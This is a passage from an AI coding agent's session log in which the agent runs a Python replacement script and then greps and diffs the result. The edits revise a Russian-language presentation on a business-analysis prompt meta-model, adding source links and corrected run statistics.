\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u043d\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u043b\\n> \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0434\u0440\u0443\u0433\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md),\\n[\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 6%](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 4.\\\"\\\"\\\")\\nold4_start=s.index(\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f\\\")\\nold4_end=s.index(\\\"**\u0412\u0438\u0437\u0443\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e:** \u0448\u043a\u0430\u043b\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438\\\")\\ns=s[:old4_start]+\\\"\\\"\\\"**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0418\u044e\u043d\u044c:** \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430;\\n  \u043f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438 \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438, \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437\\n  \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438 \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432\\n  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430\u0448\u043b\u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n> **\u0418\u0437 \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0438:** \u00ab\u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n> \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u2026 \u0438 \u0442\u0440\u0438 \u0433\u0435\u0439\u0442\u0430: \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0438\\n> \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439\u00bb.\\n\\n\\\"\\\"\\\"+s[old4_end:]\\nr(\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-deprecate-run-modes.md).\\\"\\\"\\\",\\n\\\"\\\"\\\"[ADR-013: \u043e\u0442\u043a\u0430\u0437 \u043e\u0442 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md),\\n[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u041e\u0434\u043d\u0438\u043c \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u043c \u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\",\\n\\\"\\\"\\\"- **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430:** \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438.\\n  \u0414\u0430\u0436\u0435 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0434\u0430\u0451\u0442 \u043f\u0440\u0430\u0432\u0434\u043e\u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"> **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0059 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u043b\u0441\u044f \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u043d\u0438\u044f\\n> endpoint'\u043e\u0432; RUN-0060 \u0434\u0430\u043b 101 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430\\n> \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\\"\\\"\\\",\\n\\\"\\\"\\\"> **\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043d\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445:** RUN-0018 \u2014 \u043f\u0440\u043e\u043c\u043f\u0442 \u0438\u0437 8 \u0448\u0430\u0433\u043e\u0432 \u0441 \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438,\\n> 8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430,\\n> \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb. RUN-0059 \u0441 fail-closed \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c\\n> \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b \u0432\u043c\u0435\u0441\u0442\u043e \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u044b\u0445 endpoint'\u043e\u0432.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\",\\n\\\"\\\"\\\"[\u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md),\\n[\u043a\u0435\u0439\u0441 RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-DEV, V-CONTRACT | \u0441\u043f\u0440\u043e\u0435\u043a\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b, \u0447\u0430\u0441\u0442\u044c \u0448\u0430\u0431\u043b\u043e\u043d\u0430 |\\\"\\\"\\\",\\n\\\"\\\"\\\"| \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 V-BIZ, V-APPROVE, V-DEV, V-CONTRACT | \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0432 \u043f\u0430\u043a\u0435\u0442\u0435; \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u043d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\\n  \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. 860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043d\u043e\u0432\u043e\u0433\u043e.\\\"\\\"\\\")\\nr(\\\"\\\"\\\"[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\",\\n\\\"\\\"\\\"[860 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u0432 14 \u0441\u043b\u043e\u0442\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md),\\n[\u043c\u0435\u0442\u0440\u0438\u043a\u0438 M-1\u2026M-5 \u0438 \u043f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f](\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430, \u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026 |\\\"\\\"\\\",\\\"\\\"\\\"| 69 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 (\u0430\u043f\u0440\u0435\u043b\u044c \u2014 \u0441\u0435\u043d\u0442\u044f\u0431\u0440\u044c 2026), 583 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 |\\\"\\\"\\\")\\nr(\\\"\\\"\\\"| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\",\\\"\\\"\\\"| 6% \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u043e\u043c \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u0431\u0435\u0437 \u043f\u0440\u0430\u0432\u043a\u0438 | [\u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md) |\\n| 10 \u0438\u0437 12 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 24 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u0445 |\\\"\\\"\\\")\\nopen(p,'w').write(s)\\nEOF\\ngrep -n \\\"\u0416\u0430\u043a\u043a\u0430\u0440\u0443\\\\|13 \u0437\u0430\u0434\u0430\u0447\\\" 2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:06.850Z] [INFO]       \"description\": \"Apply verified-fact edits to slides\"\n[2026-09-29T07:51:06.850Z] [INFO]     }\n[2026-09-29T07:51:06.850Z] [INFO]   }\n[2026-09-29T07:51:06.850Z] [INFO] }\n[2026-09-29T07:51:08.496Z] [INFO] {\n[2026-09-29T07:51:08.496Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"message\": {\n[2026-09-29T07:51:08.496Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:51:08.496Z] [INFO]     \"content\": [\n[2026-09-29T07:51:08.496Z] [INFO]       {\n[2026-09-29T07:51:08.496Z] [INFO]         \"tool_use_id\": \"toolu_014xtVUv2an1KDVJwJkCaQo8\",\n[2026-09-29T07:51:08.496Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:51:08.496Z] [INFO]         \"content\": \"194:  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]         \"is_error\": false\n[2026-09-29T07:51:08.496Z] [INFO]       }\n[2026-09-29T07:51:08.496Z] [INFO]     ]\n[2026-09-29T07:51:08.496Z] [INFO]   },\n[2026-09-29T07:51:08.496Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:51:08.496Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"uuid\": \"f9e091ec-fd18-4439-80f0-db0e569327b2\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"timestamp\": \"2026-09-29T07:51:08.480Z\",\n[2026-09-29T07:51:08.496Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:51:08.496Z] [INFO]     \"stdout\": \"194:  \u043d\u0435\u0442. \u0421\u0445\u043e\u0434\u0441\u0442\u0432\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443.\",\n[2026-09-29T07:51:08.496Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:51:08.496Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:51:08.496Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:51:08.496Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:51:08.496Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:51:08.496Z] [INFO]       \"files\": [\n[2026-09-29T07:51:08.496Z] [INFO]         {\n[2026-09-29T07:51:08.496Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md\",\n[2026-09-29T07:51:08.496Z] [INFO]           \"hunks\": [\n[2026-09-29T07:51:08.496Z] [INFO]             {\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldStart\": 113,\n[2026-09-29T07:51:08.496Z] [INFO]               \"oldLines\": 14,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newStart\": 113,\n[2026-09-29T07:51:08.496Z] [INFO]               \"newLines\": 15,\n[2026-09-29T07:51:08.496Z] [INFO]               \"lines\": [\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043b\u0438\u0435\u043d\u0442 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0441 \u0431\u0438\u0437\u043d\u0435\u0441-\u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435\u043c; \u043d\u0430 \u0432\u044b\u0445\u043e\u0434\u0435 \u2014 \u0422\u0417, \u043f\u043e \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0440\u0430\u0437\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u044e\u0442 \u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0432 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0435.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043b\u0430\u043d\u0434\u0448\u0430\u0444\u0442 \u0448\u0438\u0440\u043e\u043a: \u0412\u0410\u0422\u0421, \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440, API, \u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0430\u0431\u0438\u043d\u0435\u0442 \u2014\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango, \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441 42 \u0430\u043d\u0430\u043b\u043e\u0433\u0430\u043c\u0438 IT/\u0442\u0435\u043b\u0435\u043a\u043e\u043c.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 Mango \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445, \u043a\u0430\u0436\u0434\u0430\u044f \u0441\u043e\u043f\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+  \u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u043c\u0438 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430\u043c\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041a\u043e\u043c\u043f\u043b\u0430\u0435\u043d\u0441: \u043e\u0448\u0438\u0431\u043a\u0430 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u0441\u043f\u043e\u0440\u043e\u043c \u043e \u043f\u0440\u0438\u0451\u043c\u043a\u0435, \u0430 \u043d\u0435 \u043f\u0440\u0430\u0432\u043a\u043e\u0439\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" - \u041e\u0434\u043d\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 \u043c\u0438\u043d\u0438\u043c\u0443\u043c \u0442\u0440\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438: \u043a\u043b\u0438\u0435\u043d\u0442 \u2192 \u0411\u0410 \u2192 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"   \u0430\u043d\u0430\u043b\u0438\u0437 \u2192 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \" \",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u0443 \u043a\u0430\u0436\u0434\u043e\u0439 \u2014 \u0441\u0432\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u0440\u044c,\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"-> \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438.\",\n[2026-09-29T07:51:08.496Z] [INFO]                 \"+> **\u041c\u0435\u0442\u0440\u0438\u043a\u0430:** 42 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0432 8 \u0434\u043e\u043c\u0435\u043d\u0430\u0445 \u2014 \u0443 